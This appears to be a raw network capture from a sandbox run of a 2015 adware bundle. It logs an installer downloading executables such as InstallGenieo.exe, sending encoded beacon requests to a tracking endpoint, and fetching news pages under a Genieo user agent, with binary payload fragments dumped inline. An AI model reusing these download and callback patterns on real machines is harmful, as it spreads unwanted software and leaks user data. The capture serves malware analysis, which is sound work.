Content-Range: bytes 174429-465143/465144

Content-Length: 290715

Connection: keep-alive
.G....:..9D..G........"...-.,f?Fl.m..~}....d...50.-.......,........!.$
tzm..s..8...._B..&...z.z...,.. ..."../....../......j.d.T1..$..2b..r...
.(.Zl..%...4;..gX... M...Z..-.A..I..}^."..(K._...........6}.....LeF~a\
M.I.J...[..../.TmQ[J#..F...e...1.....T.h.O....._.a.......!..tiI...`;m.
....$..8z..?M...}..4.K[.....:*Gd.HT}..cW.?..(..U'.:...(^.-.5..h....D.N
..#..Mc. .{e0.>.\..|./Zw........b../.....B.O....[t.....ete..oK.qupm
.D.. .H....u...k./.3....\*4.rM..iE.=.a....cl.i........Ap)KAIa.>..&/
&V".a.......>6a....q. ..........1>......5....i.D.jdf.s..1>*.2
e..X.y....F.Kf...^IT.;Cn...u.q.......l2.....`....d.....h..Y.<.'..n.
.....V.3c.o.IIPO.i.8{.?....,.......|...v.3..^8.Y.i..........`..F}@..ZB
.COZ..&.@U .M}..w.kb....XQ...^p.....h`~.a..[...E.....~.z..fg.sd....z..
3.K...Xs....$..7Q..Aa...*../..A.Em.|3..........J......A.|...Ni..O.....
R4 ..p@.<.X.)&w2..q.e.............h......5.\.LS......,.....2.'.@:..
[email protected]....>,....t..A*.......7. ...lO.(...........M.LT..]l..#.x.Y..k6
Z...s.l..`.!../..._....v.u.D..l...4.lrLL...(.........Cq./.....]eL.....
;.....6.0....cT..M<..\....7...v.......$.....kq.....;x..S....~.N(T..
K.(..S..p.6_ .K..s=>S..........?'...%...K.....T..{.`.0.e.UX.5aJ.D..
..V...v.E.X..j.m.......GT...N.G.T...8...`m.....T......FE..6..ew..es...
.."..V...5\.39.x.#]...... R[.I..'..a....L.-Hrm[..0YQ.......xCe..YB....
BGv.:......E4...cu.2.....{s.E.\.5'...s.y.G..Gx),.....V&.3.%...}.(BQ>
;.c1=U.j0...t.".K.....aTu..o{...i.6..A..4...:.a.4.|I...jD.ju..c...o..C
#[email protected].,....X.;."E%9T2.F.>.........x....5|.v.....Z[...TZ<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=482374-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 803955

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 482374-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 981c342b06dd163b72f93e9cdd045e1f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -LWxSqTmSupDib5uj_iMiFZ8MPWS5rqXfrcnpq5RKJsbNn8Vpa6PGQ==
..'.....yR..T'...&..].R .^...s...I....,..]c....d.2m.V..rw......e[..B..
.. [email protected]!.u..,...!".DR..N.}..A....p..zB...f_..E......-Bq.m...
......=........{.9(#.Z....k......A..d..L....f...Y.^.m..MMW#EOc..._.w.^
q...........S...C..o...2N..b"Q...N.......k..........S...RF.t.<7..".
[email protected]"?jN...A...W .F1.;...*bdY.....,;y...c....|#.
........d..C.t.....fGK..)..b..g9..b......._...J.!........W...a..7./.0o
%...&Q.E.He....*.a..Y...uqAaw..e.Y...x..-h`-......^.&%.m/.....xe......
9..`....3>.L.Y.....9..9..1........Y..m....1.se8...\c.......vT...P..
w.a.9..2..%.dR.........Wc.../T#............$.N..n.J.2.....vi.p..Xpl.v.
.-....9.y.]2..E..^....Z.?r...j7..#.a.P.......9_..,r.1......4.......~..
....6...Z{d..V.V....u3.L.O}8q.5..{|.[...M:qa.D.....j..WjB ..k.....J0..
A.r.....B.4U...d...e=WB.L...xY.4m?y6..]......fe........i.6.)....:f..e.
y,...G(4...<."=bW.X.....'...7..|.F..&..a....0{.3H.d..V..O].$R7>w
O......w}...NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^
?...r)9......,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.
[email protected]..~...6..X<.  ./..X....8.}../.....p*.......sK..6...
-..8e...."rZ..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....
zp..}.6f.=..Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..
O.[...N.dA....6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}
..5D...t3......O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.n
U...9:[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e
..W.;...N6..f.b.._..\...d ....X.$..vM......;...A......0u.....>.<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

X-Cache: RefreshHit from cloudfront

Via: 1.1 528e932a968fec7dcc37ac386f863bf3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: td0sY152YYG9cG0Y0j4ZfeesyDzfED7ZhyAr5CPbIn8ThsB1IceETQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:24 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /13203.ashx?e=4mC0vXGWFtrPpyTTOfle7D0Z7sea5zO MKeV1roKInb8ln8Iap23/wrmOSgIBLqiUA7dl9owwhIPEcssM3H6BwcMGt0/Dg2JnD 5kGdtqDY/6u1vnkbiIPRHQ43CnbXvFjCwIjKziMWX1FtTkCv6XAgBB/YLD79J333RAvM0VMCZqxZiyeETNLTR ekXyJzPs IILilpWF21ljcmfunUI3wf26j4CvnDQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /13203.ashx?e=A3ANzFv7fWALjT49fHfOTKKBRU2urqEn/WD6e6SZIIExLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flXwF8xC533Fcga zuhV9q9F7H ln2NtHiy86PStrvhRRGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3/ZDGtqceVP4 iq7B1sUrV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29oKKSszP/5sIzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMyGGp Djvv1Sk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:25 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 7uamE1xaCYl5YDTwzPaWQ3mBAoZux3A33MRpzjFF7FapkRNYqqJEIBus/R i/a/H

x-amz-request-id: 9ACF7E4151824749

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 123551-988407/988408

Content-Type: application/octet-stream

Content-Length: 864857

Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...<<< skipped >>>

GET /topstories/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:05:03 GMT

Via: http/1.1 yts286.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://news.yahoo.com/

Content-Type: text/html

Content-Language: en

Content-Length: 399

Age: 0

Connection: keep-alive
<HTML>.<HEAD>.<TITLE>Error</TITLE>.</HEAD&g
t;..<BODY BGCOLOR="white" FGCOLOR="black">.<!-- status code :
 301 -->.<!-- Error: GET -->.<!-- host machine: yts286.glo
bal.media.ir2.yahoo.com -->.<!-- timestamp: 1431731103.000 -->
;.<!-- url: hXXp://news.yahoo.com/topstories/-->.<H1>Error
</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B>.D
escription: Could not process this "GET" request..</B></FONT&
gt;.<HR>.</BODY>.....


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: e765jbdalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache4.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache4.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache8.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache8.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache4.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache8.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts219.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 22

Transfer-Encoding: chunked

Connection: keep-alive
800.............X{o.8....)./.q.R.K~(.s.m......).rE.P.e..D.H.q.|..R.-;v
..6...-.....g.3:;|.......(U.??8......'E.....$..[4..?..m.sy"`"U.8.m1*..
....^L...l6....P......8..N...F.H9l........|.RJ....eT.B.OI...^...j...zE
.m.[#..Y.O.g..z..."Hk....6.."....V.....h.R.V.z..(JI)..~....Z...?..S.._
.T....$... \.j.3..S....,......xO.-.s...&TE)..K.....u~.l...|.jR.P.O.a%X
VZs...M......HN.\..pz'O.......r.7j..HFVHIa..^....(iD.....2J....X..{Qw.
.....3...a.:|...\.....I.I..B..|.B...._.47f.igL........2..,##*..L5...%.
w....%.#..xmN2.q.....rQ6..'.q..BV.wv...1K.A... ...g...F.X.......(.....
..sT.E...RD...c%.&iXR2f..58..P..LYL...L8..SZ.._ .`..y....yL.L.... ..RX
1I.."y.R.%...I..&GX.7...ER.....r..B.K-....._QT..*UW...\.,"....Z.*.....
R..T.a .OHQ.........^/... F.N......}%..7...c..v.lR0....Z..W.q.......^.
.W.M........./3.......c.]?.t.....xy5{w....^fK.1....F71M.....F.......V.
.v.H2Eo.{6v...v..U....%.....9...k......`.k.r......N....d.).;...n..e..o
.]... ...-7Nz....u.......-.w:..<3..z.8}.y......' ......_.k.\..u...O
.3.....:....."p.c.|[email protected].^D?......s.*.<....p]....g.*e..GT.wn
...TL..S.CV..j..Zm.....5"./...sj..Q.2m.N..@q&B.)..53..B....s..........
..!).q..).$...5etV...Gg,V.0.P..{=h.....Bo_..z...Y..H.r... ..j.<...=
..Sve..8.....a.s..`....=m...N.f..N&y.......}xQ.dn1i...w.F.........c_(.
H.p.4;.|..z.wr..Z-t8..y..I.c.Q,.I....8)..S=j.U.G........G..?....h%.t.v
D....e~IF..O.G..?:..\[.l`..).q.bu|zww.>...`.sp..U..2.....$...#..7.y
...`]Y.Q.;.cu<.bg.........6..W...P..1tB..:..zQ.!.!...v0..P&.T......
.TS...@{.l...r.?..[...b.t.C.F%.%H..5Y..G..A.u..`.t.E...r...z.?.w..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: private

Content-Length: 5430

Content-Type: image/x-icon

Date: Fri, 15 May 2015 22:56:08 GMT

ETag: "YM:1:d8c23aff-97ec-4cae-83b6-5a3fd7414c6d00051625f755a372"

Expires: Sat, 16 May 2015 23:00:01 GMT

Last-Modified: Fri, 15 May 2015 22:00:02 GMT

Server: ATS

x-ysws-request-id: 11dcd390-9f81-4b0b-8658-9f455b3a24ce

x-ysws-visited-replicas: gops.use26.mobstor.vip.bf1.yahoo.com

Age: 537

X-Cache: HIT from logo3.global.media.bf1.yahoo.com

X-Cache-Lookup: HIT from logo3.global.media.bf1.yahoo.com:80

Via: HTTP/1.1 web14.use26.mobstor.bf1.yahoo.com UserFiberFramework/1.0, 1.0 logo3.global.media.bf1.yahoo.com:80 (squid/2.7.STABLE9), http/1.0 l10.ycs.dea.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Connection: keep-alive
......  .... .....&......... .h.......(... ...@..... .................
..........;.p.5.o.6.o.6Dd.0...........................................
..............................................d.0.o.6Do.6.o.4...;...;.
p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2...........................
......m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.
v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.
5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.
x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.
6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;.
..<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9
.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;..
.<...=...=...>...>...?...=...>...>...>...>...>
...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...
9...;...;...;...;...<...>...>[email protected]................
[email protected]...?...>...>...>...>...=...;...<.}.8.v.5...
;...;.z.7...:...<...<...>...?...?...A...A...B...C...C...D....
...............D...C...B...C...C...B...B...?...>...>...<.}.8.
z.7...;...;...9...<...?...>[email protected].
..................G...F...G...F...E...D...D...B...A...A...>...<.
z.8...;...;...8...=...A...A...A...B...D...D...F...F...F...H...H.......
............H...H...H...G...G...F...E...D...B...A...A...<.z.8...;..
.;...;...?...C...D...C...D...F...G...H...I...J...J...K............<<< skipped >>>

GET /rss/business HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 22leit9alcut1

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:10:05 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts219.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cSsSfU])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
0002fa7.............}.v.....y.Mf..9kE.|CN.>...I 4....,........!...!
...z.$.*...;t...{.p.Y.!...T.S.TUz..{.#c.IW...d3....%l7.............GR.
x2..>.]...0....=.Yd.3S6."c....'.v.[.A...5dA.=.....?......m..$'...~'
.|...M....~.o......d..,.4..............0....yL.!'......,6B.s.N$.E..r..
61#.F0..\|o........JW.......(..."||I."r....[d.z..A......e...}....4r
...Cc............f`eH....Y..K....~.........:..(rw...bS.J.._........x.7
{..(.>.a.c./......%.7{..L].......=..-.p...V.:..m.T..e..3a0x..M.....
g7.......2?.g.... ..Hn......lbyBr...G ,..K$~.Y.f.y"X......s...?02..3W.
.z.$q.sC#Wrj..c...`.@Rl..).i6...*..A...,.xf..........5'.0Df..Bw.h.e3..
.a7..f........y..?.k..}..O...*..zv.U.....}O.........a..pY.....C......g
.x.HE............I..DQ.H..~.z..}.....j..:...a6wx..w/:..m..U....{...h..
2....2q.x......r..?v*...<.....T.DD#.]...'DD..../......5"...7.....@!
.;..Q..Nk&H.......f....S.^[email protected]....$.n..r..#cTH.#........MXLr..
\.S.g.!...].:=d6q..(..b.E..42.Y....\[email protected];.....-.\KRS=.q.y/E.]!.
.s..L&.H...l.C*[email protected]..|xi/..a... q..9.ax.p...\<.A
..X...|.T.?..{2(.1..}....j..[T.......u>..b.....'..C..`zC.L..@=._...
hg....q.N.:.F.~.f.mK....`..%J.......'....b]...T%5gD)...;...K%......VIs
F.....%J.....;Z.[.VM........{.k.....i....U.....-...ZP..a..w........a..
.z.............fQ...N0.=6.."....;.PPPO..=.........p.=A...\.l....7#.\m.
...?...JW......?..{.(x$......M2\.c.V.T.... ho*....>....z..=.&....&.
Bp......"s.!....&.VQ.P.`(..K.YC..4D.n.~...~..*......k.Q..f.{.....jRm..
.".].^k.x.s...$`e.]F0.....].......\R..`.M(..H.>...`S...N...A...<<< skipped >>>

GET /rss/business HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 22leit9alcut1

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:10:05 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts219.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 12280

Connection: keep-alive
...........}.v.....y.Mf..9kE.|CN.>...I 4....,........!...!...z.$.*.
..;t...{.p.Y.!...T.S.TUz..{.#c.IW...d3....%l7.............GR.x2..>.
]...0....=.Yd.3S6."c....'.v.[.A...5dA.=.....?......m..$'...~'.|...M...
.~.o......d..,.4..............0....yL.!'......,6B.s.N$.E..r..61#.F0..\
|o........JW.......(..."||I."r....[d.z..A......e...}....4r...Cc....
........f`eH....Y..K....~.........:..(rw...bS.J.._........x.7{..(.>
.a.c./......%.7{..L].......=..-.p...V.:..m.T..e..3a0x..M.....g7.......
2?.g.... ..Hn......lbyBr...G ,..K$~.Y.f.y"X......s...?02..3W..z.$q.sC#
Wrj..c...`.@Rl..).i6...*..A...,.xf..........5'.0Df..Bw.h.e3...a7..f...
.....y..?.k..}..O...*..zv.U.....}O.........a..pY.....C......g.x.HE....
........I..DQ.H..~.z..}.....j..:...a6wx..w/:..m..U....{...h..2....2q.x
......r..?v*...<.....T.DD#.]...'DD..../......5"...7.....@!.;..Q..Nk
&H.......f....S.^[email protected]....$.n..r..#cTH.#........MXLr..\.S.g.!..
.].:=d6q..(..b.E..42.Y....\[email protected];.....-.\KRS=.q.y/E.]!..s..L&.H.
..l.C*[email protected]..|xi/..a... q..9.ax.p...\<.A..X...|.T
.?..{2(.1..}....j..[T.......u>..b.....'..C..`zC.L..@=._...hg....q.N
.:.F.~.f.mK....`..%J.......'....b]...T%5gD)...;...K%......VIsF.....%J.
....;Z.[.VM........{.k.....i....U.....-...ZP..a..w........a...z.......
......fQ...N0.=6.."....;.PPPO..=.........p.=A...\.l....7#.\m....?...JW
......?..{.(x$......M2\.c.V.T.... ho*....>....z..=.&....&.Bp......"
s.!....&.VQ.P.`(..K.YC..4D.n.~...~..*......k.Q..f.{.....jRm...".].^k.x
.s...$`e.]F0.....].......\R..`.M(..H.>...`S...N...A............<<< skipped >>>

HEAD /business/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 9g0vbptalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache15.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache15.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache15.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache15.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache15.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache15.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts244.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r20.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 24

Connection: keep-alive

GET /US/index.html?eref=rss_us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Server: Varnish

Retry-After: 0

Content-Length: 0

Location: hXXp://edition.cnn.com/US/index.html?eref=rss_us

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Connection: close

X-Served-By: cache-fra1227-FRA

X-Cache: MISS

X-Cache-Hits: 0

GET /cnnnext/dam/assets/150513152047-pkg-sesay-italy-migrant-birth-00011101-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 16053

Cache-Control: max-age=2437

Expires: Fri, 15 May 2015 23:45:41 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
8.......................!.1A..Q."a.q....#2B..3..Rb...C................
...............!.....................!1..AQa.2q............?....0K...k
.V.?E'}S@:O..kD...%z.....VN-.u| gK.--1.......40.d....dL..6d-.(49...$..
;..Z.....lh.'[email protected]"..G.J...d....8..3..t..(Qi-..*..=7I.2"!h6TE64..
.........h3M9.%.>WT..!.....(.l.......d... jEGI ...7..N?.!....J...KF
.Nc.. K..5.. .(..t..1.IR..2]....s...... ..f...?.:.J".h.?.Y.qw.mB.{>
.i.k.....Kw...]f.....k]?.....[u._.C*<.....[u.D8......Z...J5]E..U...
..*]I..6.R.K.t....I.J.e.7..I.V\..{eZ.-.4.HR.][email protected]..&.@K.?. ..v..
[email protected]@4..|.0w....Kl.^../....5o.}^...n.F...Z..OZ.{.J..h
